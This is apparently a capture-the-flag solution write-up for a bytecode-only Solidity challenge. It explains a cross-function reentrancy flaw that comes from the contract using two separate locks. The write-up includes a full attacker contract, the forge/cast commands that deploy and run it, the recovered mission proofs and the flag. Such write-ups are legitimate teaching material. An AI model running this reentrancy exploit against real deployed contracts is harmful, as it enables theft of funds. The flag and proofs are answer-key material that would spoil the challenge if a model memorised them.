| .. | ||
| README.md | ||
GANTZ_BALL_CONTRACT — Solution
Difficulty: Insane | Category: Web3 | Flag: ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}
Overview
Bytecode-only Solidity challenge. No source code is provided — you must reverse the EVM bytecode to find a cross-function reentrancy vulnerability caused by two separate reentrancy guards instead of one global lock.
Architecture
- Port 1337/tcp: console (commands:
info,bytecode,check) - Port 8545/tcp: Ethereum JSON-RPC node
Step 1 — Reverse the bytecode
bytecode
Decompile with Dedaub / Heimdall / Panoramix. Recover:
register()— enroll as a hunterclaimKill(uint256 missionId, string proof)— earn points per missionstakePoints(uint256 amount)— stake points, deposit ETH (1 pt = 0.001 ETH)unstake()— withdraw ETH, restore pointsclaimReward()— claim reward ifpoints + stakedPoints >= 100
Key finding: the contract uses two separate guards: _stakeLock (protects
stakePoints/unstake) and _rewardLock (protects claimReward). While inside
unstake(), _stakeLock=1 but _rewardLock=0 — allowing re-entry into
claimReward() before stakedPoints is zeroed.
Step 2 — Find mission proofs
From contract storage, extract the four keccak256 target hashes.
Brute-force short string preimages:
| Mission | Points | Proof |
|---|---|---|
| 0 | 20 | onion_alien |
| 1 | 25 | tanaka_alien |
| 2 | 30 | buddha_alien |
| 3 | 35 | boss_alien |
Step 3 — Deploy attacker contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IGantzBall {
function register() external;
function claimKill(uint256 missionId, string calldata proof) external;
function stakePoints(uint256 amount) external payable;
function unstake() external;
function claimReward() external;
}
contract GantzExploit {
IGantzBall public ball;
bool private attacking;
constructor(address _ball) payable { ball = IGantzBall(_ball); }
function exploit() external {
ball.register();
ball.claimKill(0, "onion_alien"); // +20 → 20 pts
ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts
ball.claimKill(2, "buddha_alien"); // +30 → 75 pts
ball.claimKill(3, "boss_alien"); // +35 → 110 pts
ball.stakePoints{value: 0.1 ether}(100);
// Now: points=10, stakedPoints=100
attacking = true;
ball.unstake();
// In receive(): stakedPoints=100 not yet zeroed → claimReward passes
}
receive() external payable {
if (attacking) {
attacking = false;
// _stakeLock=1 but _rewardLock=0 → cross-function reentrancy
ball.claimReward();
// points(10) + stakedPoints(100) = 110 >= 100 ✓
}
}
}
forge create GantzExploit \
--constructor-args <BALL_ADDR> \
--value 0.2ether \
--rpc-url http://<HOST>:8545 \
--private-key <PLAYER_KEY>
cast send <EXPLOIT_ADDR> 'exploit()' \
--rpc-url http://<HOST>:8545 \
--private-key <PLAYER_KEY>
Step 4 — Get the flag
check
Key Concepts
- EVM bytecode reversal: No source code — must recover ABI and logic from opcodes
- Cross-function reentrancy: Two separate mutex flags allow re-entry across function boundaries
- Storage layout: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules
- keccak256 preimage brute force: Short human-readable strings are feasible to brute-force
Flag
ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}
Author
Eun0us